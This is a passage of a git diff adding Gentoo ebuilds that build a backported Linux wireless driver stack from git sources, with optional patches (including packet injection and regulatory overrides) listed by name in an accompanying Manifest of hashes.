+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	if use tarball; then
+		insinto /usr/share/${PN}
+		doins "${WORKDIR}"/${P}${applied}.tar.xz
+	fi
+
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild
new file mode 100644
index 00000000..01fd1604
--- /dev/null
+++ b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild
@@ -0,0 +1,217 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit git-2 linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+MY_PV=v${PV/_rc/-rc}
+MY_PVS=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+#SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PVS}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+apply_cherrypicks +apply_crap +apply_stable apply_pending atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules +tarball noleds"
+
+DEPEND="!net-wireless/compat-wireless
+	apply_stable? ( dev-util/quilt )"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		sys-fs/udev"
+
+#S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+S="${WORKDIR}/compat-wireless"
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_unpack() {
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git"
+	EGIT_SOURCEDIR="${WORKDIR}/allstable"
+	EGIT_COMMIT="refs/tags/${MY_PV}"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_COMMIT
+
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git"
+	EGIT_SOURCEDIR="${WORKDIR}/linux-next"
+	git-2_src_unpack
+	unset EGIT_DIR
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat-wireless.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat-wireless"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+}
+
+src_prepare() {
+	use apply_cherrypicks && apply="${apply} -n"
+	use apply_pending && apply="${apply} -p"
+	use apply_stable && apply="${apply} -s"
+	use apply_crap && apply="${apply} -c"
+
+	#CAUTION: on this line GIT_TREE asks for linux-next but wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh -s refresh || die
+	#CAUTION: but on this line GIT_TREE wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh${apply} || die
+
+	if use tarball; then
+		rm -rf .git/
+		set_arch_to_kernel
+        	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build clean
+		find ./ -type f -name *.orig | xargs rm -f
+		find ./ -type f -name *.rej  | xargs rm -f
+		use apply_cherrypicks && applied="${applied}n"
+		use apply_pending && applied="${applied}p"
+		#use apply_stable && applied="${applied}s"
+		use apply_crap && applied="${applied}c"
+		if [ "${applied}" ]; then
+			applied="-${applied}"
+		fi
+		tar -Jcf "${WORKDIR}"/${P}${applied}.tar.xz "${WORKDIR}/compat-wireless/" || die
+	fi
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	if use tarball; then
+		insinto /usr/share/${PN}
+		doins "${WORKDIR}"/${P}${applied}.tar.xz
+	fi
+
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild
new file mode 100644
index 00000000..01fd1604
--- /dev/null
+++ b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild
@@ -0,0 +1,217 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit git-2 linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+MY_PV=v${PV/_rc/-rc}
+MY_PVS=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+#SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PVS}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+apply_cherrypicks +apply_crap +apply_stable apply_pending atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules +tarball noleds"
+
+DEPEND="!net-wireless/compat-wireless
+	apply_stable? ( dev-util/quilt )"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		sys-fs/udev"
+
+#S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+S="${WORKDIR}/compat-wireless"
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_unpack() {
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git"
+	EGIT_SOURCEDIR="${WORKDIR}/allstable"
+	EGIT_COMMIT="refs/tags/${MY_PV}"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_COMMIT
+
+	EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git"
+	EGIT_SOURCEDIR="${WORKDIR}/linux-next"
+	git-2_src_unpack
+	unset EGIT_DIR
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+
+	EGIT_REPO_URI="git://github.com/mcgrof/compat-wireless.git"
+	EGIT_SOURCEDIR="${WORKDIR}/compat-wireless"
+	EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y"
+	git-2_src_unpack
+	unset EGIT_DIR
+	unset EGIT_BRANCH
+}
+
+src_prepare() {
+	use apply_cherrypicks && apply="${apply} -n"
+	use apply_pending && apply="${apply} -p"
+	use apply_stable && apply="${apply} -s"
+	use apply_crap && apply="${apply} -c"
+
+	#CAUTION: on this line GIT_TREE asks for linux-next but wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh -s refresh || die
+	#CAUTION: but on this line GIT_TREE wants stable
+	GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh${apply} || die
+
+	if use tarball; then
+		rm -rf .git/
+		set_arch_to_kernel
+        	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build clean
+		find ./ -type f -name *.orig | xargs rm -f
+		find ./ -type f -name *.rej  | xargs rm -f
+		use apply_cherrypicks && applied="${applied}n"
+		use apply_pending && applied="${applied}p"
+		#use apply_stable && applied="${applied}s"
+		use apply_crap && applied="${applied}c"
+		if [ "${applied}" ]; then
+			applied="-${applied}"
+		fi
+		tar -Jcf "${WORKDIR}"/${P}${applied}.tar.xz "${WORKDIR}/compat-wireless/" || die
+	fi
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	if use tarball; then
+		insinto /usr/share/${PN}
+		doins "${WORKDIR}"/${P}${applied}.tar.xz
+	fi
+
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless-builder/files b/net-wireless/compat-wireless-builder/files
new file mode 120000
index 00000000..e7cfba98
--- /dev/null
+++ b/net-wireless/compat-wireless-builder/files
@@ -0,0 +1 @@
+../compat-wireless/files
\ No newline at end of file
diff --git a/net-wireless/compat-wireless/Manifest b/net-wireless/compat-wireless/Manifest
new file mode 100644
index 00000000..36419698
--- /dev/null
+++ b/net-wireless/compat-wireless/Manifest
@@ -0,0 +1,107 @@
+AUX 0001-ath5k-retain-promiscuous-setting.patch 1638 SHA256 c125640e535c9add6422435f72f136f9d4eac4d3655598dccc9b6f2214a3a507 SHA512 4ebaaa7bc10554ba44f7607d35e2afaec83350262be85dc625d79cb86308925fc69e15b750f420fef6444f23b76b5ccb016d914a65ed405afe91d48707db4b72 WHIRLPOOL 7dd6436049c713af28aebf7f365fd7d8f5f0c3344231a09fef05661ab590758442b36269178261294c4e81659b0eff9d3d59f32a0853ba9858967bfbc88960fd
+AUX 4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch 1063 SHA256 4ae0d3926ed563cb961df0d3236b321ad86698843a2a6df26476657c5e20dac0 SHA512 72ec2e736b6bd10f359b9c50ea5653243672e22302b5172765e5be65abdd3d9c0c63d0e7de7f45f9aca0e1264d42ba25ecda68da0619b57f8ebef610e09a938c WHIRLPOOL b94f026d7e9eea561d2fabe6b73cc2ea3f3949c06422475f00975721e626178a831344b490586fe4a59cd42c933ef9ab1f8c4f23c94250f914a8143dad38de93
+AUX 4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch 559 SHA256 2c9222e0c6aaafabac091766c7e0a71442f0e9521ec1c65fc7024fbca60a3354 SHA512 9bf0b852a4ffc66afc12fc60c3fc683d689a45ff5e18470db68f25f001e14fc09c813aa01fec2b4583af1c19141e748a10c7dfd6022d727cb8cf245f6c33a2ff WHIRLPOOL 2efd4c3f2d58a833be803df6034e01d3601cb1891921fe2031c50a241a3f5e8a9e8d54aa0b29566fcc6b2bac71d48e504a3f88585a1049884e0a5986724048a1
+AUX 4004_zd1211rw-2.6.28.patch 1412 SHA256 6696295acb2a8d12a33208525cba9ce8bd2971c9c0adaabb31debfa9ec15c7be SHA512 2aa73fa8e87cb06220b589f528ba25fcec818a14a98a8d5f1173b12c287ee85e48981a48bbce772aa7fc24a33a833df2eb5bc7af0d569ea8c839090c481566ec WHIRLPOOL 4245c75995d7579b9fcc0aa1412b4f9bc4a3a924076aca24b466658740a99b0592c293420c39a616a6241ec4dce213496bf4317b73fd4b94ab1dcefbe5130382
+AUX 4005_ath5k-frequency-expansion-2.6.30.patch 4838 SHA256 563a1644c51804d6014be54a7ce26cd4db70991a4b75c4b66370ea9136d40467 SHA512 22645e4332e17833d119600ccefb49d9ed6ea25735af5c0f21a2715ae2701d5a69279b1151bbc51f82e65904f7e222b7e19ca2a22493a9eac09f6b15ced8658a WHIRLPOOL 2afac0bd67df4ae794fb420914c23fc056888c9ab93ee423eb5971485fbef94cb17d2674d49a190c231ce31f8f89253dc5d344116dadea161d55c73ac74edcc5
+AUX 4007_ath5k-pass-failed-crc.patch 568 SHA256 12e8549aa3fd85d83fc7c80ab2dbd4ed5a22ae446af6979bfbdd4a3c2d4e9fe6 SHA512 64e305b18193ae4782b8ee8a98c46da095d72b94c876b31b4f7f4d213003cf768da06c8cdc19779aca8020d5e533e87ccc923483c88d15ab9c1977e6e717f5e8 WHIRLPOOL ac92a35bda9530ca23135bc97713f82f8ad0861d6bc2888c0afb313bbaf7798637ac8bd0f7b6183f6e8018600701178c60b05c2a8ee19afef02f7a48b2c3b142
+AUX 4012_openwrt-b43-disable_qos_when_openfw.patch 721 SHA256 f03374faa0d41a5dca7e20079d7a7bd59aebd309b56aa6c7f7108b596d3f0da2 SHA512 9f714ff4a532bb4139e5693622bef39fcc913a0efbaded9f884715c52fdadf445e3aae816a414854747c5416e328f17e436e02eeb7c0b8a530e13b3b02f6b293 WHIRLPOOL fff09fcdce20a25464155c89df09c15464d3db287621833de374c27c1666bb4ab8bd6a151ae1ad309ad7dd9be4b8cf0606c740d3fbaf8ea843a7f4ae278f2bda
+AUX 4013-runtime-enable-disable-of-mac80211-packet-injection.patch 1490 SHA256 88f997a54768feeb40a9f985e412e90e9fda2491f32cf6b078eb2a0a9f81e785 SHA512 2f140493a3f9a30ec87e1f3ab24968be6729d8750a5d21a7b0e72431619c8d86d9025da92a47726bcfca0c82f0f332df2c18b089925cb6fe2655085394ca858e WHIRLPOOL eeb30e3d8fced29a3ae00df26bfd4e5898eb5e4f73c3da4ceb5aef84b98b043e39df21479749b51b234f9b0a1e529b317fcc7f87103df84b9089949b047a6b52
+AUX 4099-2.6.32-rc7-mac80211-security-fixes.patch 5951 SHA256 61d0c5e5681f0fb20cf65925b49eeebf34d3b026906e052c086f1f17147a9359 SHA512 4a2691283ed7514363c314f130d6a157b3cf61faa35be15219fffc2fb5cb159979ff0d001b04cb35f1ef999cde7b460b8c35c4b19d8acb67ea04c3ae10a77d9f WHIRLPOOL 7d5a3f377f4c4524420da36953a659ff343c78f0f527961b9636a9fd330bf7f684e60cc8ea99bd14fc92419c7243c94063a5e4be3bebc23e23a99d41ddfe0177
+AUX WEXT-EXT-nuts.patch 3150 SHA256 be6a5f2746ff6cf5963e95b1c7a895cc343c930de22a47e41b4ed0d24a60a6f0 SHA512 eef794f049806df6e5aba22b4db56a613cd7762457174c9262d52e54bf390ce359e773dda89ed918c15cb3463b5ce36cfe702655d611b87a74cfe13b94a6dbf7 WHIRLPOOL 8f1af322ee23976deb3bd9788c8599089176af48cd7d4ab6494e535fd610d22b8787114d8881977449976c3a1359486e97cf8ed233ff15d8253cb64b36901f16
+AUX ath9k_htc_ethtool_driver.patch 1242 SHA256 b27463b3f6cfe64e6b09835e1a06bc3ae83207f6800710ff0c461a6bef363460 SHA512 6c2db0b46d934440f8ea2b40d109351918988022db060f2d5ab0afb8f30db03b539e4b0fdb19317bdec17dba68202a6ff95eafb4a93bbabef81a9dd69008554b WHIRLPOOL 5ce44239dceaf4873f645fcb80d2921c3375e8a86557c0f9fb3e40fd16a130e740b93d57d93edeb8818f49db88affca377ddbe3db1a781517d5c71b293575c8b
+AUX ath_ignore_eeprom.patch 2096 SHA256 def6985a8c1486bfe78c8cf72333f620d88730fc1c3116d016a03725a6ba2226 SHA512 7aee117de62bdf2b9c7c43a30bc0f3c944864d89473ed1c6536fb3479515694debc173fae4164959bc1de3675ebac68e64f16abf7cec5e8b784566aa83c44220 WHIRLPOOL a820ef5ca54907994120319667f28d89a68e8494e3acd7c597c04a949cce6345e2f93688d36473a647479f52baf01e78ea7a81a8f8a54a03fedd253f94e58981
+AUX ath_regd_optional.patch 906 SHA256 ebf117d071363e854505c18aef8c9af2652fd4a7b9cc5efe961cf5efb410dbd7 SHA512 dddc5e428f7d2a372ac17cce913c397ac408e20eb17af55633ea8984d6e69e8f7fe134436a4176606740d64fd66579c6a30a358cac393cb22f9a09d10f66e9d3 WHIRLPOOL b46164a1444d74f22d0e4f1e02ed556b52f87d5132871698ab93abd2076656e4ecadb7dc914d571df15a9bd18169ebaef67d4539a7919f1e2ffdd3df3b60cd90
+AUX blinky.patch 357 SHA256 1c2f0e18ecbcf2c07ba732671e77408326d2566d260f0252002c5698f9e65e30 SHA512 2b2eca3f346e450ce11c3c4b4415ee447e7a6dc8fb21dfb0015d1e2dd74ab1ec49f5929083a67fd6e8daa24ea88c43296b2f41c4d81d676691235f9ce2c9aff7 WHIRLPOOL 8fb17d10cc30c5b32dbeca392062b2b2d283ae06b0a2ca235740b66cf5d2573f6d5db8a11907210979a4f402b5b66ad2f88ec36ae690de724c484bbc4ff8fa13
+AUX channel-negative-one-maxim.patch 1021 SHA256 19f7fc0753636c32026e444e23bd101bd21cfeb59661284678bf157dc35212f2 SHA512 365edc44db47b69c4e1babe235ec7e5bc76853665ad45a1fe9e86ea3186aa5e1eb5a2769fe7f75b1f0bd247d67d73f84062f842e9f68e81c119ed4511ec16bcf WHIRLPOOL 09cf698e26f9f8438ff9ce99d5f50ff2aad99ac02888612b9ad56901d0f69f1b771a56cee15affcd9e61b8bfb501cafa0a650fc6228d642f2b34d1b90773d473
+AUX compat-chaos.patch 6187 SHA256 5e8c11b46bc8acf10a2ce8b934fec32662b57c003c99e5e0ca4717a8c6b19474 SHA512 40f8c15935d3f942dc08a223405e4cb46d0e48ad94d568da582f4b45c1fee41142b3b98d9079d0dfc621fbdfc0d9a8887247fd0e477e04bef571415b7f961409 WHIRLPOOL b749dd4f7f9802335ed610f0d51e0de35a9d88209a67530527428025c494f64759b052549e57afe10928bac5e2747f60ab47f0c8e1f5a5f442fa9db099ccad21
+AUX compat-sched.patch 286 SHA256 675e1f877f076f7941dc89248a99b01508cf8a05255bd5a2e2a46c71b148f73e SHA512 20530c0ed571da7cffd33cdf7bab7b4d77cd8c43e2fce9541efca4413a557de8ec676909648fd16c2f142fde3067c37bbc09b14331d8af3dd816d89723f475dd WHIRLPOOL fce079084ea5314880be3f82aa2cbd869309d79b391d6b54d8041abff02514dbd44ff74f6ac000325628b7005903e9cc3535f97686311f5019c312e8a7eb749f
